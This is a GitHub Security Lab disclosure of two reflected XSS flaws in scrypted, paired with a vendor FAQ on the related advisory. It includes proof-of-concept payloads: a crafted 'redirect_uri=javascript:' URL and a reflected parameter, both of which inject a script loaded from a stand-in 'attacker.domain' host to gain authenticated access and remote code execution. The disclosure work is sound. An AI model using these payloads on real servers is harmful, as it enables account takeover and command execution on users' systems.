Summary
GitHub Security Lab (GHSL) Vulnerability Report, scrypted: GHSL-2023-218, GHSL-2023-219
GitHub Security Lab (GHSL) Vulnerability Report, scrypted: GHSL-2023-218, GHSL-2023-219
The GitHub Security Lab team has identified potential security vulnerabilities in scrypted.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2023-218 or GHSL-2023-219 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are NOT the correct point of contact for this report, please let us know!
Two refelcted Cross-Site Scripting (XSS) vulnerabilities exist in scrypted that may allow an attacker to impersonate any user who clicks on specially crafted links. In the worst case, an attacker may be able to impersonate an administrator and run arbitrary commands.
Project
scrypted
Tested Version
Details
Issue 1: reflected XSS in plugin-http.ts (GHSL-2023-218)
The owner and pkg parameters are reflected back in the response when the endpoint is not found, allowing for a reflected XSS vulnerability.
const { owner, pkg } = req.params;
let endpoint = pkg;
if (owner)
endpoint = `@${owner}/${endpoint}`;
const pluginData = await this.getEndpointPluginData(req, endpoint, isUpgrade, isEngineIOEndpoint);
if (!pluginData) {
end(404, `Not Found (plugin or device "${endpoint}" not found)`);
return;
}
Resources
Proof of Concept:
The following url will create a script tag in the current document which will load attacker.domain/rce.js. This JavaScript file can then be used to communicate with the server over HTTP via RPC, and send some requests to get the nativeId and proxyID for the automation:update-plugins and achieve the ability to run shell commands at a specified time.
In the browser, you should see the script element be created with the src as https://attacker.domain/rce.js.
Issue 2: reflected XSS in plugins/core/ui/src/Login.vue (GHSL-2023-219)
A reflected XSS vulnerability exists in the login page via the redirect_uri parameter. By specifying a url with the javascript scheme (javascript:), an attacker can run arbitrary JavaScript code after the login.
try {
const redirect_uri = new URL(window.location).searchParams.get('redirect_uri');
if (redirect_uri) {
window.location = redirect_uri;
return;
}
}
Impact
This issue may lead to Remote Code Execution.
Remediation
In order to remediate, ensure user-controlled data is not placed into the DOM. Additionally, this is also an open redirect vulnerability because the url is not validated and a user may be redirected to an attacker controlled website after logging in, not knowing they have left the actual real website. If this redirect_uri parameter is supposed to only redirect to the current website/domain, please incorporate a check that it is only redirecting to the current domain.
Resources
Proof of Concept:
When the user is not logged in, send a link to the server with the parameter:
redirect_uri=javascript:var script = document.createElement('script');script.src = 'https://attacker.domain'; document.head.appendChild(script);
at the end of the uri (but before the #).
Example: https://localhost:10443/endpoint/test/test?redirect_uri=javascript:var%20script%20=%20document.createElement('script');script.src%20=%20'https://attacker.domain';%20document.head.appendChild(script);#//
Similar to Proof of Concept 1 this will load a JavaScript file which can make authenticated requests to the server, possibly leading to RCE.
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
This vulnerability was found with the help of CodeQL Reflected XSS query.
Contact
You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-218 or GHSL-2023-219 in any communication regarding these issues.
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Impact
This issue may lead to Remote Code Execution.
GHSA-W4HV-VMV9-HGCR has a CVSS score of 8.3 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In order to remediate, ensure that parameters are not reflected back in the response. In addition, on error responses where html is unnecessary, set the text/plain Content-Type to prevent XSS (express defaults to text/html).
Frequently Asked Questions
- What is GHSA-W4HV-VMV9-HGCR? GHSA-W4HV-VMV9-HGCR is a high-severity security vulnerability in @scrypted/server (npm), affecting versions <= 0.56.0. No fixed version is listed yet.
- How severe is GHSA-W4HV-VMV9-HGCR? GHSA-W4HV-VMV9-HGCR has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by GHSA-W4HV-VMV9-HGCR?
@scrypted/server(npm) (versions <= 0.56.0)@scrypted/core(npm) (versions <= 0.1.142)
- Is there a fix for GHSA-W4HV-VMV9-HGCR? No fixed version is listed for GHSA-W4HV-VMV9-HGCR yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-W4HV-VMV9-HGCR exploitable, and should I be worried? Whether GHSA-W4HV-VMV9-HGCR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-W4HV-VMV9-HGCR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.